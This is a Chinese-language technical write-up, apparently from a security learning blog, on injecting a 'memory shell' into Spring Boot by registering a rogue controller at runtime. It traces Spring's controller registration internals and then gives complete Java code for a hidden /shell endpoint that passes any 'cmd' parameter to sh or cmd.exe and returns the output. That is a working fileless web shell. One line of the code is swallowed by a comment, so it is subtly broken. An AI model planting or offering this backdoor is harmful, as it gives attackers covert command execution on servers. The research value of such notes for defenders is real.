前言
首先需要知道的是,Springboot
只不过是启动Spring
的一个工具,其自身已嵌入Tomcat
等web容器,它是一个管理框架的框架
马儿
Controller型马
古茗思意,即通过注册恶意的Controller
来实现内存马注入
所以需要先了解Controller
注册的过程
这是一个最简单页面,它在/
下返回Hello World!
package org.tomcatjava.spring01;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@SpringBootApplication
public class app01 {
@RequestMapping("/")
String home() {
return "Hello World!";
}
}
其中需要关注的就是@RequestMapping
这个注解,它会被RequestMappingHandlerMapping
处理为HandlerMethod
,具体来说:
RequestMappingHandlerMapping
是HandlerMapping
这个接口类的实现,它会检测容器内的所有Controller并登记管理起来(想象一个Controller们拎包入住酒店的场景?)
RequestMappingInfo
是用户请求时封装好的请求映射信息,里面包含了请求路径,请求方法,请求参数,请求头等,当RequestMappingHandlerMapping
匹配到一个RequestMappingInfo
(一个调用Controller的请求时)时,便会创建一个HandlerMethod
对象
HandlerMethod
表示一个控制器方法,包含了方法的元数据和执行上下文。
Controller注册
首先在AbstractHandlerMethodMapping
的initHandlerMethods
处打断点
AbstractHandlerMethodMapping
是RequestMappingHandlerMapping
的父类
protected void initHandlerMethods() {
String[] var1 = this.getCandidateBeanNames();
int var2 = var1.length;
for(int var3 = 0; var3 < var2; ++var3) {
String beanName = var1[var3];
if (!beanName.startsWith("scopedTarget.")) {
this.processCandidateBean(beanName);
}
}
this.handlerMethodsInitialized(this.getHandlerMethods());
}
首先在getCandidateBeanNames
获取了所有候选Bean
的名称
然后接着一个for
循环遍历所有bean
,如果匹配到没有以scopedTarget.
开头的bean
名,就会调用processCandidateBean
方法(以scopedTarget
开头的一般是作用域代理bean,不是Controller)
processCandidateBean(beanname)
就是bean
处理并注册的地方
之后会记录bean
类型到beantype
调用isHandler()
方法
isHandler()
方法判断了beantype
中是否带了@Controller
注解,如果带了则返回True
之后运行到this.detectHandlerMethods(beanName);
,跟进去看
getMappingForMethod
方法会创建并返回一个RequestMappingInfo
之后的一堆if
判断为RequestMappingInfo
添加了映射路径,请求映射注解等
之后这个Spring01Application
便注册成功,返回到initHandlerMethods
方法对下一个Bean
继续处理
所以如何注册呢?
首先需要获取WebApplicationContext
,像是Tomcat
需要先获取StandardContext
对象一样,通过WebApplicationContext
获取到RequestMappingHandlerMapping
类
WebApplicationContext对象的获取即(ContextLoader.getCurrentWebApplicationContext()方法)
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
然后需要创建一个RequestMappingInfo
对象来告诉RequestMappingHandlerMapping
需要请求的Controller
类的映射关系,它会将RequestMappingInfo
注册
而可以对RequestMappingInfo
动态注册的方法是RequestMappingHandlerMapping
类中的registerMapping()
方法
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
super.registerMapping(mapping, handler, method);
this.updateConsumesCondition(mapping, method);
}
updateConsumesCondition
方法是 Spring 框架中RequestMappingInfo
类的一部分,用于更新请求映射信息中的consumes
条件。consumes
条件用于指定处理方法可以接受的请求内容类型(即请求体的 MIME 类型)。
它调用了父类的registerMapping
public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}
registerMapping()
方法需要三个参数: RequestMappingInfo mapping, Object handler, Method method
handler
对象就是恶意Controller
的对象
RequestMappingInfo
的构造方法:
@Deprecated
public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) {
this((String)null, patterns, methods, params, headers, consumes, produces, custom);
}
参数名 | 含义 | |
---|---|---|
name | 映射的名称,用于标识这个映射信息,通常用于日志记录或调试。 | |
methods | 请求方法(如 GET、POST、PUT 等),指定处理方法可以接受的 HTTP 请求方法。 | |
patterns | URL 模式,指定处理方法可以接受的 URL 路径模式。 | |
params | 请求参数条件,指定处理方法可以接受的请求参数条件。 | |
headers | 请求头条件,指定处理方法可以接受的请求头条件。 | |
consumes | 请求内容类型(即请求体的 MIME 类型),指定处理方法可以接受的请求内容类型。 | |
produces | 响应内容类型(即响应体的 MIME 类型),指定处理方法可以生成的响应内容类型。 | |
custom | 自定义请求条件,允许用户定义自定义的请求条件,以便更灵活地匹配请求。 | |
patterns 这个需要PatternsRequestCondition 的一个对象 | ||
然后可通过 |
PatternsRequestCondition url = new PatternsRequestCondition("/cmd");
来新建一个对象确定Controller
的路由
package org.tomcatjava.spring01.Controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
@Controller
public class Evil1 {
@RequestMapping("/control")
public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
System.out.println("i am in");
//获取当前上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
//手动注册Controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Controller_Shell(), method);
}
public class Controller_Shell{
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
} }}
Links
参考 & 高质量 & 工具
JavaSec/5.内存马学习/Spring/针对springboot的controller内存马
# spring boot 启动流程分析
# Servlet, Tomcat, Jetty, Netty分别是什么?
RequestMappingHandlerMapping 初始化搜集所有控制器方法的过程分析
Spring Controller内存马 从0到1的fastjson的反序列化漏洞分析